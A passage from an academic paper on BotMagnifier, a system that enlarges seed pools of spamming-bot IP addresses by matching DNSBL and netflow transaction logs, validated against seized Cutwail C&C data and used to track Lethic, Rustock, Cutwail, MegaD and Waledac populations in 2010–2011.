problem that appears in many security contexts, for ex-
ample, when building models for intrusion detection.

An additional, important consideration for the proper
choice of N is the size of the target set |T (pi)|. Intu-
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Figure 1: Quality of magnification for varying k using
ten Cutwail campaigns of different sizes.

itively, we expect that N should be larger when the size
of the target set increases. This is because a larger target
set increases the chance that a random, legitimate email
sender hits a sufficient number of targets by accident, and
hence, will be incorrectly included into the magnification
set. In contrast, bots carrying out a spam campaign that
targets only a small number of destinations are easier to
detect. The reason is that as soon as a legitimate email
sender sends an email to a server that is not in the set tar-
geted by the campaign, it will be immediately discarded
by our magnification algorithm. Therefore, we represent
the relationship between the threshold N and the size of
the target set |T (pi)| as:

N = k · |T (pi)|, 0 < k ≤ 1, (4)

where k is a parameter. Ideally, the relation between N
and |T (pi)| would be linear, and k will have a constant
value. However, as will be clear from the discussion be-
low, k also varies with the size of |T (pi)|.

To determine a good value for k and, as a consequence,
select a proper threshold N , we performed an analysis
based on ground truth about the actual IP addresses in-
volved in several spam campaigns. This information was
collected from the takedown of more than a dozen C&C
servers used by the Cutwail spam botnet. More specifi-
cally, each server stored comprehensive records (e.g., tar-
get email lists, bot IP addresses, etc.) about spam activi-
ties for a number of different campaigns [35]

In particular, we applied BOTMAGNIFIER to ten Cut-
wail campaigns, extracted from two different C&C
servers. We used these ten campaigns since we had a
precise view of the IP addresses of the bots that sent the
emails. For the experiment, we varied the value for N in
the magnification process from 0 to 300. This analysis
yielded different magnification sets for each campaign.
Then, using our knowledge about the actual bots B that
were part of each campaign, we computed the precision

P and recall R values for each threshold setting. Since
we want to express the quality of the magnification pro-
cess as a function of k, independently of the size of a
campaign, we use Equation 4 to get k = N

|T (pi)| .
The precision value P (k) represents what fraction of

the IP addresses that we obtain as candidates for the mag-
nification set for a given k are actually among the ground
truth IP addresses. The recall value R(k), on the other
hand, tells us what fraction of the total bot set B is identi-
fied. Intuitively, a low value of k will produce high R(k),
but low P (k). When we increase k, P (k) will increase,
but R(k) will decrease. Optimally, both precision and
recall are high. Thus, for our analysis, we use the prod-
uct PR(k) = P (k) · R(k) to characterize the quality
of the magnification step. Figure 1 shows how PR(k)
varies for different values of k. As shown for each cam-
paign, PR(k) first increases, then stays relatively level,
and then starts to decrease.

The results indicate that k is not a constant, but varies
with the size of |T (pi)|. In particular, small campaigns
have a higher optimal value for k compared to larger
campaigns: as |T (pi)| increases, the value of k slowly
decreases. To reflect this observation, we use the follow-
ing, simple way to compute k:

k = kb +
α

|T (pi)|
, (5)

where kb is a constant value, α is a parameter, and
|T (pi)| is the number of destinations that a campaign
targeted. The parameters kb and α are determined so
that the quality of the magnification step PR is maxi-
mized for a given ground truth dataset. Using the Cut-
wail campaigns as the dataset, this yields kb = 8 · 10−4

and α = 10.
Our experimental results show that these parameter

settings yield good results for a wide range of campaigns,
carried out by several different botnets. This is because
the magnification process is robust and not dependent
on an optimal threshold selection. We found that non-
optimal thresholds typically tend to decrease recall. That
is, the magnification process does not find all bots that it
could possibly detect, but false positives are limited. In
Section 6.4, we show how the equation of k, with the val-
ues we determined for parameters kb and α, yields good
results for any campaign magnified from our Spamhaus
dataset. We also show that the computation of k can be
performed in the same way for different types of trans-
action logs. To this end, we study how BOTMAGNIFIER
can be used to analyze netflow records.

5 Spam Attribution

Once the magnification process has completed, we merge
the IP addresses from the seed pool and the magnifica-
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tion set to obtain a campaign set. We then apply several
heuristics to reduce false positives and to assign the dif-
ferent campaign sets to specific botnets. Note that the
labeling of the campaign sets does not affect the results
of the bot magnification process. BOTMAGNIFIER could
be used in the wild for bot detection without these at-
tribution functionalities. It is relevant only for tracking
the populations of known botnets, as we discuss in Sec-
tion 6.2.

5.1 Spambot Analysis Environment

The goal of this phase is to understand the behavior of
current spamming botnets. That is, we want to determine
the types of spam messages sent by a specific botnet at
a certain point in time. To this end, we have built an
environment that enables us to execute bot binaries in a
controlled setup similarly to previous studies [11, 39].

Our spambot analysis environment is composed of one
physical system hosting several virtual machines (VMs),
each of which executes one bot binary. The VMs have
full network access so that the bots can connect to the
C&C server and receive spam-related configuration data,
such as spam templates or batches of email addresses to
which spam should be sent. However, we make sure that
no actual spam emails are sent out by sinkholing spam
traffic, i.e., we redirect outgoing emails to a mail server
under our control. This server is configured to record
the messages, without relaying them to the actual des-
tination. We also prevent other kinds of malicious traf-
fic (e.g., scanning or exploitation attempts) through vari-
ous firewall rules. Some botnets (e.g., MegaD) use TCP
port 25 for C&C traffic, and, therefore, we need to make
sure that such bots can still access the C&C server. This
is implemented by firewall rules that allow C&C traffic
through, but prevent outgoing spam. Furthermore, bot-
nets such as Rustock detect the presence of a virtual en-
vironment and refuse to run. Such samples are executed
on a physical machine configured with the same network
restrictions. To study whether bots located in different
countries show a unique behavior, we run each sample
at two distinct locations: one analysis environment is lo-
cated in the United States, while the other one is located
in Europe. In our experience, this setup enables us to re-
liably execute known spambots and observe their current
spamming behavior.

For this study, we analyzed the five different bot fam-
ilies that were the most active during the time of our
experiments: Rustock [5], Lethic, MegaD [4, 6], Cut-
wail [35], and Waledac. We ran our samples from July
2010 to February 2011. Some of the spambots we ran
sent out spam emails for a limited amount of time (typi-
cally, a couple of weeks), and then lost contact with their
controllers. We periodically substituted such bots with

newer samples. Other bots (e.g., Rustock) were active
for most of the analysis period.

5.2 Botnet Tags
After monitoring the spambots in a controlled environ-
ment, we attempt to assign botnet labels to spam emails
found in our spam trap. Therefore, we first extract the
subject templates from the emails that were collected in
the analysis environment with the same technique de-
scribed in Section 2.1. Then, we compare the subject
templates with the emails we received in the spam trap
during that same day. If we find a match, we tag the
campaign set that contains the IP address of the bot that
sent the message with the corresponding botnet name.
Otherwise, we keep the campaign set unlabeled.

5.3 Botnet Clustering
As noted above, we ran five spambot families in our anal-
ysis environment. Of course, it is possible that one of the
monitored botnets is carrying out more campaigns than
those observed by analyzing the emails sent by the bots
we execute in our analysis environment. In addition, we
are limited by the fact that we cannot run all bot binaries
in the general case (e.g., due to newly emerging botnets
or in cases where we do not have access to a sample),
and, thus, we cannot collect information about such cam-
paigns. The overall effect of this limitation is that some
campaign sets may be left unlabeled.

The goal of the botnet clustering phase is to determine
whether an unlabeled campaign set belongs to one of the
botnets we monitored. If an unlabeled campaign set can-
not be associated with one of the existing labeled cam-
paign sets, then we try to see if it can be merged with
another unlabeled campaign set, which, together, might
represent a new botnet.

In both cases, there is a need to determine if two cam-
paign sets are “close” enough to each other in order to be
considered as part of the same botnet. In order to repre-
sent the distance between campaign sets, we developed
three metrics, namely an IP overlap metric, a destination
distance metric, and a bot distance metric.

IP overlap. The observation underlying the IP overlap
metric is that two campaign sets sharing a large number
of bots (i.e., common IP addresses) likely belong to the
same botnet. It is important to note that infected ma-
chines can belong to multiple botnets, as one machine
may be infected with two distinct instances of malware.
Another factor one needs to take into account is network
address translation (NAT) gateways, which can poten-
tially hide large networks behind them. As a result, the
IP address of a NAT gateway might appear as part of
multiple botnets. However, a host is discarded from the
campaign set related to pi as soon as it contacts a des-
tination that is not in the target set (see Section 4 for a
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discussion). Therefore, NAT gateways are likely to be
discarded from the candidate set early on: at some point,
machines behind the NAT will likely hit two destinations
that are unique to two different seed pools, and, thus,
will be discarded from all campaign sets. This might
not be true for small NATs, with just a few hosts behind
them. In this case, the IP address of the gateway would
be detected as a bot by BOTMAGNIFIER. In a real world
scenario, this would still be useful information for the
network administrator, who would know what malware
has likely infected one or more of her hosts.

Given these assumptions, we merge two campaign sets
with a large IP overlap. More precisely, first the intersec-
tion of the two campaign sets is computed. Then, if such
intersection represents a sufficiently high portion of the
IP addresses in either of the campaign sets, the two cam-
paign sets are merged.

The fraction of IP addresses that need to match ei-
ther of the campaign sets to consider them to be part of
the same botnet varies with the size of the sets for those
campaigns. Intuitively, two small campaigns will have to
overlap by a larger percentage than two large campaigns
in order to be considered as part of the same botnet. This
is done to avoid merging small campaigns together just
based on a small number of IP addresses that might be
caused by multiple infections or by two different spam-
bots hiding behind a small NAT. Given a campaign c, the
fraction of IP addresses that has to overlap with another
campaign in order to be merged together is

Oc =
1

log10 (Nc)
, (6)

where Nc is the number of hosts in the campaign set. We
selected this equation because the denominator increases
slowly with the number of bots carrying out a campaign.
Moreover, because of the use of the logarithm, this equa-
tion models an exponential decay, which decreases fast
for small values of Nc, and much more slowly for large
values of it. Applying this equation, a campaign carried
out by 100 hosts will require an overlap of 50% or more
to be merged with another one, while a campaign carried
out by 10,000 hosts will only require an overlap of 25%.
When comparing two campaigns c1 and c2, we require
the smaller one to have an overlap of at least Oc with the
largest one to consider them as being carried out by the
same botnet.

Destination distance. This technique is an extension
of our magnification step. We assume that bots carry-
ing out the same campaign will target the same desti-
nations. However, as mentioned previously, some bot-
nets send spam only to specific countries during a given
time frame. Leveraging this observation, it is possible to
find out whether two campaign sets are likely carried out
by the same botnet by observing the country distribution

of the set of destinations they targeted. More precisely,
we build a destination country vector for each campaign
set. Each element of the destination country vector cor-
responds to the fraction of destinations that belong to a
specific country. We determined the country of each IP
address using the GEOIP tool [19]. Then, for each pair of
campaign sets, we calculate the cosine distance between
them.

We performed a precision versus recall analysis to de-
velop an optimal threshold for this clustering technique.
By precision, we mean how well this technique can dis-
criminate between campaigns belonging to different bot-
nets. By recall, we capture how well the technique can
cluster together campaigns carried out by the same bot-
net. We ran our analysis on 50 manually-labeled cam-
paigns picked from the ones sent by the spambots in our
analysis environment. Similarly to how we found the
optimal value of k in Section 4, we multiply precision
and recall together. We then searched for the threshold
value that maximizes this product. In our experiments,
we found that the cosine distance of the destination coun-
tries vectors is rarely lower than 0.8. This occurs regard-
less of the particular country distribution of a campaign,
because there will be a significant amount of bots in large
countries (e.g., the United States or India). The precision
versus recall analysis showed that 0.95 is a good thresh-
old for this clustering technique.

Bot distance. This technique is similar to the destina-
tion distance, except that it utilizes the country distribu-
tion of the bot population of the campaign set instead of
the location of the targeted servers. For each campaign
set, we build a source country vector that contains the
fraction of bots for a given country.

The intuition behind this technique comes from the
fact that malware frequently propagates through mali-
cious web sites, or through legitimate web servers that
have been compromised [24, 34]. These sites will not
have a uniform distribution of users (e.g., a Spanish
web site will mostly have visitors from Spanish-speaking
countries) and, therefore, the distribution of compro-
mised users in the world for that site will not be uniform.
For this technique, we also performed a precision ver-
sus recall analysis, in the same way as for the destination
distance technique. Again, we experimentally found the
optimal threshold to be 0.95.

6 Evaluation

To demonstrate the validity of our approach, we first ex-
amined the results generated by BOTMAGNIFIER when
magnifying the population of a large spamming botnet
for which we have ground truth knowledge (i.e., we
know which IP addresses belong to the botnet). Then,
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we ran the system for a period of four months on a large
set of real-world data, and we successfully tracked the
evolution of large botnets.

6.1 Validation of the Approach
To validate our approach, we studied a botnet for which
we had direct data about the number and IP addresses of
the infected machines. More precisely, in August 2010,
we obtained access to thirteen C&C servers belonging
to the Cutwail botnet [35]. Note that we only used nine
of them for this evaluation, since two had already been
used to derive the optimal value of N in Section 4, and
two were not actively sending spam at the time of the
takedown. As discussed before, these C&C servers con-
tained detailed information about the infected machines
belonging to the botnet and the spam campaigns car-
ried out. The whole botnet was composed of 30 C&C
servers. By analyzing the data on the C&C servers we
had access to, we found that, during the last day of opera-
tion, 188,159 bots contacted these nine servers. Of these,
37,914 (≈ 20%) contacted multiple servers. On average,
each server controlled 20,897 bots at the time of the take-
down, with a standard deviation of 5,478. Based on these
statistics, the servers to which we had access managed
the operations of between 29% and 37% of the entire bot-
net. We believe the actual percentage of the botnet con-
trolled by these servers was close to 30%, since all the
servers except one were contacted by more than 19,000
bots during the last day of operation. Only a single server
was controlling less than 10,000 bots. Therefore, it is
safe to assume that the vast majority of the command
and control servers were controlling a similar amount of
bots (≈ 20,000 each).

We ran the validation experiment for the period be-
tween July 28 and August 16, 2010. For each of the 18
days, we first selected a subset of the IP addresses refer-
enced by the nine C&C servers. As a second step, with
the help of the spam trap, we identified which campaigns
had been carried out by these IP address during that day.
Then, we generated seed and magnified pools. Finally,
we compared the output magnification sets against the
ground truth (i.e., the other IP addresses referenced by
the C&C servers) to assess the quality of the results.

Overall, BOTMAGNIFIER identified 144,317 IP ad-
dresses as Cutwail candidates in the campaign set. Of
these, 33,550 (≈ 23%) were actually listed in the C&C
servers’ databases as bots. This percentage is close to
the fraction of the botnet we had access to (since we con-
sidered 9 out of 30 C&C servers), and, thus, this result
suggests that the magnified population identified by our
system is consistent. To perform a more precise analy-
sis, we ran BOTMAGNIFIER and studied the magnified
pools that were given as an output on a daily basis. The
average size of the magnified pools was 4,098 per day.

In total, during the 18 days of the experiment, we grew
the bot population by 73,772 IP addresses. Of the IP ad-
dresses detected by our tool, 17,288 also appeared in the
spam trap during at least one other day of our experiment,
sending emails belonging to the same campaigns carried
out by the C&C servers. This confirms that they were
actually Cutwail bots. In particular, 3,381 of them were
detected by BOTMAGNIFIER before they ever appeared
in the spam trap, which demonstrates that we can use our
system to detect bots before they even hit our spam trap.

For further validation, we checked our results against
the Spamhaus database, to see if the IP addresses we
identified as bots were listed as known spammers or not.
81% were listed in the blacklist.

We then tried to evaluate how many of the remaining
27,421 IP addresses were false positives. To do this, we
used two techniques. First, we tried to connect to the
host to check whether it was a legitimate server. Legit-
imate SMTP or DNS servers can show up in queries on
Spamhaus due to several reasons (e.g., in cases where
reputation services collect information about sender IP
addresses or if an email server is configured to query
the local DNS server). Therefore, we tried to determine
if an IP address that was not blacklisted at the time of
the experiment was a legitimate email or DNS server by
connecting to port 25 TCP and 53 UDP. If the server re-
sponded, we considered it to be a false positive. Unfor-
tunately, due to firewall rules, NAT gateways, or network
policies, some servers might not respond to our probes.
For this reason, as a second technique, we executed a
reverse DNS lookup on the IP addresses, looking for ev-
idence showing that the host was a legitimate server. In
particular, we looked for strings that are typical for mail
servers in the hostname. These strings are smtp, mail,
mx, post, and mta. We built this list by manually look-
ing at the reverse DNS lookups of the IP address that
were not blacklisted by Spamhaus. If the reverse lookup
matched one of these strings, we considered the IP ad-
dress as a legitimate server, i.e., a false positive. In total,
2,845 IP addresses resulted in legitimate servers (1,712
SMTP servers and 1,431 DNS servers), which is 3.8% of
the overall magnified population.

We then tried to determine what coverage of the en-
tire Cutwail botnet our approach produced. Based on the
number of active IP addresses per day we saw on the
C&C servers, we estimated that the size of the botnet
at the time of the takedown was between 300,000 and
400,000 bots. This means that, during our experiment,
we were able to track between 35 and 48 percent of the
botnet. Given the limitations of our transaction log (see
Section 6.2.1), this is a good result, which could be im-
proved by getting access to multiple Spamhaus servers
or more complete data streams.
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6.2 Tracking Bot Populations
To demonstrate the practical feasibility of our approach,
we used BOTMAGNIFIER to track bot populations in the
wild for a period of four months. In particular, we ran
the system for 114 days between September 28, 2010
and February 5, 2011. We had a downtime of about 15
days in November 2011, during which the emails of the
spam trap could not be delivered.

By using our magnification algorithm, our system
identified and tracked 2,031,110 bot IP addresses dur-
ing the evaluation period. Of these, 925,978 IP addresses
(≈ 45.6%) belonged to magnification sets (i.e., they were
generated by the magnification process), while 1,105,132
belonged to seed pools generated with the help of the
spam trap.

6.2.1 Data Streams Limitations
The limited view we have from the transaction log gen-
erated by only one DNSBL mirror limits the number of
bots we can track each day. BOTMAGNIFIER requires
an IP address to appear a minimum number of times in
the transaction log, in order to be considered as a po-
tential bot. From our DNSBL mirror, we observed that
a medium size campaign targets about 50,000 different
destination servers (i.e., |T (pi)| = 50,000). The value
of N for such a campaign, calculated using equation 5,
is 50. On an average day, our DNSBL mirror logs activ-
ity performed by approximately 4.7 million mail senders.
Of these, only about 530,000 (≈ 11%) appear at least 50
times. Thus, we have to discard a large number of po-
tential bots a priori, because of the limited number of
transactions our Spamhaus mirror observes. If we had
access to more transaction logs, our visibility would in-
crease, and, thus, the results would improve accordingly.

6.2.2 Overview of Tracking Results
For each day of analysis, BOTMAGNIFIER identified
the largest spam campaigns active during that day (Sec-
tion 2), learned the behavior of a subset of IP addresses
carrying out those campaigns (Section 3), and grew a
population of IP addresses behaving in the same way
(Section 4). This provided us with the ability to track
the population of the largest botnets, monitoring how ac-
tive they were, and determining which periods they were
silent.

A challenging aspect of tracking botnets with BOT-
MAGNIFIER has been assigning the right label to the var-
ious spam campaigns (i.e., the name of the botnet that
generated them). Tagging the campaigns that we ob-
served in our honeypot environment was trivial, while for
the others we used the clustering techniques described in
Section 5. In total, we observed 1,475 spam campaigns.
We tried to assign a botnet label to each cluster, and ev-
ery time two clusters were assigned the same label, we

merged them together. After this process, we obtained
38 clusters. Seven of them were large botnets, which
generated 50,000 or more bot IP addresses in our magni-
fication results. The others were either smaller botnets,
campaigns carried out by dedicated servers (i.e., not car-
ried out by botnets), or errors produced by the clustering
process.

We could not assign a cluster to 107 campaigns (≈ 7%
of all campaigns), and we magnified these campaigns
independently from the others. Altogether, the magni-
fied sets of these campaigns accounted for 20,675 IP ad-
dresses (≈ 2% of the total magnified hosts). We then
studied the evolution over time and the spamming capa-
bilities of the botnets we were able to label.

6.2.3 Analysis of Magnification Results
Table 1 shows some results from our tracking. For each
botnet, we list the number of IP addresses we obtained
from the magnification process. Interestingly, Lethic,
with 887,852 IP addresses, was the largest botnet we
found. This result is in contrast with the common be-
lief in the security community that, at the time of our
experiment, Rustock was the largest botnet [18]. How-
ever, from our observation, Rustock bots appeared to be
more aggressive in spamming than the Lethic bots. In
fact, each Rustock bot appeared, on average, 173 times
per day on our DNSBL mirror logs, whereas each Lethic
bot showed up only 101 times.

For each botnet population we grew, we distinguished
between static and dynamic IP addresses. We considered
an IP address as dynamic if, during the testing period, we
observed that IP address only once. On the other hand, if
we observed the same IP address multiple times, we con-
sider it as static. The fraction of static versus dynamic
IP addresses for the botnets we tracked goes from 15%
for Rustock to 4% for MegaD. Note that smaller botnets
exceeded the campaign size thresholds required by BOT-
MAGNIFIER (see Section 5) less often than larger bot-
nets, and therefore it is possible that our system under-
estimates the number of IP addresses belonging to the
MegaD and Waledac botnets.

Figures 2(a) and 2(b) show the growth of IP addresses
over time for the magnification sets belonging to Lethic
and Rustock (note that we experienced a downtime of
the system during November 2010). The figures show
that dynamic IP addresses steadily grow over time, while
static IP addresses reach saturation after some time. Fur-
thermore, it is interesting to notice that we did not ob-
serve much Rustock activity between December 24, 2010
and January 10, 2011. Several sources reported that the
botnet was (almost) down during this period [14, 37].
BOTMAGNIFIER confirms this downtime of the botnet,
which indicates that our approach can effectively track
the activity of botnets. After the botnet went back up
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Botnet Total # of IP addresses # of dynamic IP addresses # of static IP addresses # of events per bot
(per day)

Lethic 887,852 770,517 117,335 101
Rustock 676,905 572,445 104,460 173
Cutwail 319,355 285,223 34,132 208
MegaD 68,117 65,062 3,055 112
Waledac 36,058 32,602 3,450 140

Table 1: Overview of the BOTMAGNIFIER results
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Figure 2: Growth of the dynamic and static IP address populations for the two major botnets

again in January 2011, we observed a steady growth in
the number of Rustock IP addresses detected by BOT-
MAGNIFIER.

Figures 3(a) and 3(b) show the cumulative distribu-
tion functions of dynamic IP addresses and static IP ad-
dresses tracked during our experiment for the five largest
botnets. It is interesting to see that we started observing
campaigns carried out by Waledac on January 1, 2011.
This is consistent with the reports from several sources,
who also noticed that a new botnet appeared at the same
time [17, 31]. We also observed minimal spam activities
associated with MegaD after December 7, 2011. This
was a few days after the botmaster was arrested [30].

6.3 Application of Results
False positives. In Section 4, we showed how the pa-
rameter k minimizes the ratio between true positives and
false positives. We initially tolerated a small number of
false positives because these do not affect the big picture
of tracking large botnet populations. However, we want
to quantify the false positive rate of the results, i.e., how
many of the bot candidates are actually legitimate ma-
chines. This information is important, especially if BOT-
MAGNIFIER is used to inform Internet Service Providers
or other organizations about infected machines. Further-
more, if we want to use the results to improve spam fil-

tering systems, we need to be very careful about which
IP addresses we consider as bots. We use the same tech-
niques outlined in Section 6.1 to check for false posi-
tives. We remove each IP address that matches any of
these techniques from the magnified sets.

We ran this false positive detection heuristic on all the
magnified IP addresses identified during the evaluation
period. This resulted in 35,680 (≈1.6% of the total) IP
addresses marked as potential false positives. While this
might sound high at first, we also need to evaluate how
relevant this false positive rate is in practice: our results
can be used to augment existing systems and thus we can
tolerate a certain rate of false positives. In addition, while
deploying BOTMAGNIFIER in a production system, one
could add a filter that applies the techniques from Sec-
tion 6.1 to any magnified pool, and obtain clean results
that he could use for spam reduction.

Improving existing blacklists. We wanted to under-
stand whether our approach can improve existing black-
lists by providing information about spamming bots that
are currently active. To achieve this, we analyzed the
email logs from the UCSB computer science department
over a period of two months, from November 30, 2010
to February 8, 2011. As a first step, the department mail
server uses Spamhaus as a pre-filtering mechanism, and
therefore the majority of the spam gets blocked before
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Figure 3: Cumulative Distribution Function for the bot populations grown by BOTMAGNIFIER

being processed. For each email whose sender is not
blacklisted, the server runs SpamAssassin [3] for content
analysis, to find out if the message content is suspicious.
SpamAssassin assigns a spam score to each message, and
the server flags it as spam or ham according to that value.
These two steps are useful to evaluate how BOTMAGNI-
FIER performs, for the following reasons:

• If a mail reached the server during a certain day, it
means that at that time its sender was not blacklisted
by Spamhaus.

• The spam ratios computed by SpamAssassin pro-
vide a method for the evaluation of BOTMAGNI-
FIER’s false positives.

During the analysis period, the department mail server
logged 327,706 emails in total, sent by 228,297 distinct
IP addresses. Of these, 28,563 emails were considered
as spam by SpamAssassin, i.e., they bypassed the first
filtering step based on Spamhaus. These mails had been
sent by 10,284 IP addresses. We compared these IP ad-
dresses with the magnified sets obtained by BOTMAG-
NIFIER during the same period: 1,102 (≈ 10.8%) ap-
peared in the magnified sets. We then evaluated how
many of these IP addresses would have been detected be-
fore reaching the server if our tool would have been used
in parallel with the DNSBL system. To do this, we an-
alyzed how many of the spam sender IP addresses were
detected by BOTMAGNIFIER before they sent spam to
our server. We found 295 IP addresses showing this be-
havior. All together, these hosts sent 1,225 emails, which
accounted for 4% of the total spam received by the server
during this time.

We then wanted to quantify the false positives in the
magnified pools generated by BOTMAGNIFIER. To do
this, we first searched for those IP addresses that were
in one of the magnification pools, but had been consid-
ered sending ham by SpamAssassin. This resulted in 28

matches. Of these, 15 were blacklisted by Spamhaus
when we ran the tests, and therefore we assume they are
false negatives by SpamAssassin. Of the remaining 13
hosts, 12 were detected as legitimate servers by the fil-
ters described in Section 6.1. For the remaining one IP
address, we found evidence of it being associated with
spamming behavior on another blacklist [23]. We there-
fore consider it as a false negative by SpamAssassin as
well.

In summary, we conclude that BOTMAGNIFIER can
be used to improve the spam filtering on the department
email server: the server would have been reached by 4%
less spam mails, and no legitimate emails would have
been dropped by mistake within these two months. Hav-
ing access to more Spamhaus mirrors would allow us to
increase this percentage.

Resilience to evasion. If the techniques introduced by
BOTMAGNIFIER become popular, spammers will mod-
ify their behavior to evade detection. In this section, we
discuss how we could react to such evasion attempts.

The first method that could be used against our system
is obfuscating the email subject lines, to prevent BOT-
MAGNIFIER from creating the seed pools. If this was the
case, we could leverage previous work [22,40] that takes
into account the body of emails to identify emails that are
sent by the same botnet. As an alternative, we could use
different methods to build the seed pools, such as clus-
tering bots based on the IPs of the C&C servers that they
contact.

Another evasion approach spammers might try is to re-
duce the number of bots associated with each campaign.
The goal would be to stay under the threshold required
by BOTMAGNIFIER (i.e., 1,000) to work. This would re-
quire more management effort on the botmaster’s side,
since more campaigns would need to be run. Moreover,
we could use other techniques to cluster the spam cam-



USENIX Association  20th USENIX Security Symposium 439

paigns. For example, it is unlikely that the spammers
would set up a different website for each of the small
campaigns they create. We could then cluster the cam-
paigns by looking at the web sites the URLs in the spam
emails point to.

Other evasion techniques might be to assign a single
domain to each spamming bot, or to avoid evenly dis-
tributing email lists among bots. In the first case, BOT-
MAGNIFIER would not be able to unequivocally identify
a bot as being part of a specific botnet. However, the at-
tribution requirement could be dropped, and these bots
would still be detected as generic spamming bots. The
second case would be successful in evading our current
systems. However, this behavior involves something that
spammers want to avoid: having the same bot sending
thousands of emails to the same domain within a short
amount of time would most likely result in the bot being
quickly blacklisted.

6.4 Universality of k

In Section 4, we introduced a function to determine the
optimal N value according to the size of the seed pool’s
target |T (pi)|. To do this, we analyzed the data from two
C&C servers of the Cutwail botnet. One could argue that
this parameter will work well only for campaigns carried
out by that botnet. To demonstrate that the value of k
(and subsequently of N ) estimated by the function pro-
duces good results for campaigns carried out by other
botnets, we ran the same precision versus recall tech-
nique we used in Section 4 on other datasets. Specifi-
cally, we analyzed 600 campaigns observed in the wild,
that had been carried out by the other botnets we stud-
ied (Lethic, Rustock, Waledac, and MegaD). Since we
did not have access to full ground truth for these cam-
paigns, we used the IP addresses from the seed pools as
true positives, and the set of IP addresses not blacklisted
by Spamhaus as false positives. For the purpose of this
analysis, we ignored any other IP address returned by
the magnification process (i.e., magnified IP addresses
already blacklisted by Spamhaus).

The results are shown in Figure 4. The figure shows
the function plot of k in relation to the size of |T (pi)|.
The dots show, for each campaign we analyzed, where
the optimal value of k lies. As it can be seen, the func-
tion of k we used approximates the optimal values for
most campaigns well. This technique for setting k might
also be used to set up BOTMAGNIFIER in the wild, when
ground truth is not available.

Data stream independence. In Section 2.2, we
claimed that BOTMAGNIFIER can work with any kind of
transaction log as long as this dataset provides informa-
tion about which IP addresses sent email to which des-
tination email servers at a given point in time. To con-
firm this claim, we ran BOTMAGNIFIER on an alterna-
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tive dataset, extracted from netflow records [7] collected
by the routers of a large Internet service provider. The
netflow data is collected with a sampling rate of 1 out
of 1,000. To extract the data in a format BOTMAGNI-
FIER understands, we extracted each connection directed
to port 25 TCP, and considered the timestamp in which
the connection initiated as the time the email was sent.
On average, this transaction log contains 1.9 million en-
tries per day related to about 194,000 unique sources.

To run BOTMAGNIFIER on this dataset, we first need
to correctly dimension k. As explained in Section 4, the
equation for k is stable for any transaction log. How-
ever, the value of the constants kb and α changes for
each dataset. To correctly dimension these parameters,
we ran BOTMAGNIFIER on several campaigns extracted
from the netflow records. The PR(k) analysis is shown
in Figure 5. The optimal point of the campaigns is lo-
cated at a lower k for this dataset compared to the ones
analyzed in Section 4. To address this difference, we
set kb to 0.00008 and α to 1 when dealing with netflow
records as transaction logs. After setting these param-
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eters, we analyzed one week of data with BOTMAGNI-
FIER. The analysis period was between January 20 and
January 28, 2011. During this period, we tracked 94,894
bots. Of these, 36,739 (≈ 38.7%) belonged to the mag-
nified sets of the observed campaigns. In particular, we
observed 40,773 Rustock bots, 20,778 Lethic bots, 6,045
Waledac bots, and 1,793 Cutwail bots.

7 Related Work

Spam is one of the major problems on the Internet, and as
a result, has attracted a considerable amount of research.
In this section, we briefly review related work in this area
and discuss the novel aspects of BOTMAGNIFIER.

Botnet Tracking. A popular method to gain deeper in-
sights into a particular botnet is botnet tracking, i.e., an
attempt to learn more about a given botnet by analyzing
its inner workings in detail [1, 8]. There are several ap-
proaches to conduct the actual analysis, for example by
taking over the C&C infrastructure and then performing
a live analysis [26,33]. An orthogonal approach is to take
down the C&C server and perform an offline analysis of
the server to reconstruct information [21]. A less inva-
sive approach is to (automatically) reverse-engineer the
communication protocol used by the botnet and then im-
personate a bot [4, 6, 15, 32]. This enables a continuous
collection of information about the given botnet, e.g., to
gather the spam templates used by the bots [6].

BOTMAGNIFIER complements these approaches: we
are able to track spamming botnets on the Internet in a
non-invasive way from a novel vantage point. The in-
formation generated by our tool enables us to perform a
high-level study of botnets. For example, we can track
their size and evolution over time, and obtain a live view
of hosts that belong to a particular botnet.

Ramachandran et al. also analyzed queries against a
DNSBL to reveal botnet memberships [27], but their
motivation is completely different from ours: the intu-
ition behind their approach is that bots might check if
their own IP address is blacklisted by a given DNSBL.
Such queries can be detected, which discloses informa-
tion about infected machines. BOTMAGNIFIER is com-
plementary with respect to this approach because it an-
alyzes intrinsic traces left by spamming machines (i.e.,
an email server will query the DNSBL for information),
and clustering and enriching this data enables us to find
spambots in a generic way. Furthermore, we demon-
strated that our approach can also be used on other kinds
of transaction logs.

Spam Studies. Several studies analyzed spam and the
side-effects of this business [2, 12, 16, 42, 43]. BOT-
LAB [11], a tool to correlate incoming spam mails with
outgoing spam collected by executing known bots in an

analysis environment, shares some characteristics with
our approach. The analysis results of BOTLAB can ap-
proximate the relative size of different spamming bot-
nets and provide insights into current spam campaigns
based on the information collected at the site running the
tool. In contrast, BOTMAGNIFIER enables us to detect
IP addresses of hosts that belong to spamming botnets
at an Internet-wide level. We use the analysis environ-
ment only to collect information that enables us to as-
sign labels to spam campaigns, while all other analysis
techniques (e.g., the DNSBL analysis) are different com-
pared to BOTLAB.

Another system that shares some similarities with our
approach is AUTORE [40], which examines content-
level features in the email body such as URLs to group
spam messages into campaigns. The authors performed a
large-scale evaluation based on mail messages collected
by a large webmail provider to generate signatures to de-
tect polymorphic modifications for individual spam cam-
paigns. Xie et al. also examined characteristics of the
spam campaigns, similar to our work. In contrast, our
approach focuses primarily on the behavioral similarities
between members of a spamming botnet, without requir-
ing knowledge of the actual spam content.

Spam Mitigation. The typical approaches to detect
spam either focus on the content of spam messages [3,
22, 40] or on the analysis of network-level features [10,
25, 26, 28, 29, 38]. BOTMAGNIFIER generates lists of IP
addresses that belong to spamming botnets, which com-
plements both kinds of approaches: the analysis results
can be used to improve systems that use network-level
features to detect spambots, e.g., by proactively listing
such IP addresses in blacklists, or complement existing
systems, as demonstrated in Section 6.3. Furthermore,
the information can be used to notify ISPs about infected
customers within their networks.

8 Conclusion

We presented BOTMAGNIFIER, a tool for tracking and
analyzing spamming botnets. The tool is able to “mag-
nify” an initial seed pool of spamming IP addresses
by learning the behavior of known spamming bots and
matching the learned patterns against a (partial) log of
the email transactions carried out on the Internet. We
have validated and evaluated our approach on a number
of datasets (including the ground truth data from a bot-
net’s C&C hosts), showing that BOTMAGNIFIER is in-
deed able to accurately identify and track botnets.

Future work will focus on finding new data inputs that
can either populate our initial seed pools or on obtain-
ing a different, more comprehensive transaction log to be
able to identify spamming bots more comprehensively.
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Also, analyzing larger data streams might allow us to ap-
ply more features for our magnification process, produc-
ing more complete results.
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Abstract

A distinguishing characteristic of bots is their ability
to establish a command and control (C&C) channel. The
